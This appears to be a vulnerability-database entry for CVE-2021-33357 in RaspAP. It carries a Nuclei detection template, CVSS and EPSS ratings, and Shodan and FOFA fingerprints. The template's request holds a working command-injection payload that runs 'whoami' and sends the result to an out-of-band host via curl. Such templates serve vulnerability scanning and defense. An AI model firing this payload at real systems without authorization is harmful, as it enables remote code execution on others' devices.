Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-33357
HistoryOct 03, 2021 - 12:37 p.m.

RaspAP <=2.6.5 - Remote Command Injection

2021-10-0312:37:22
ProjectDiscovery
github.com
4

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

0.967 High

EPSS

Percentile

99.7%

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";".
id: CVE-2021-33357

info:
  name: RaspAP <=2.6.5 - Remote Command Injection
  author: pikpikcu,pdteam
  severity: critical
  description: |
    RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";".
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the integrity and confidentiality of the affected system.
  remediation: |
    Upgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability.
  reference:
    - https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
    - https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
    - https://github.com/RaspAP/raspap-webgui
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33357
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33357
    cwe-id: CWE-78
    epss-score: 0.96707
    epss-percentile: 0.99648
    cpe: cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: raspap
    product: raspap
    shodan-query: http.favicon.hash:-1465760059
    fofa-query: icon_hash=-1465760059
  tags: cve2021,cve,rce,raspap,oast

http:
  - method: GET
    path:
      - "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "DHCPEnabled"

    extractors:
      - type: regex
        group: 1
        regex:
          - 'GET \/([a-z-]+) HTTP'
        part: interactsh_request
# digest: 4a0a0047304502202cb8400b73367eea3c497924cc723246298a450a67aa13e58179baac950a78790221009ae4d2e958904481b39e84c2c0dab404f9888be12fcfe94328b861be0d13a8b3:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

0.967 High

EPSS

Percentile

99.7%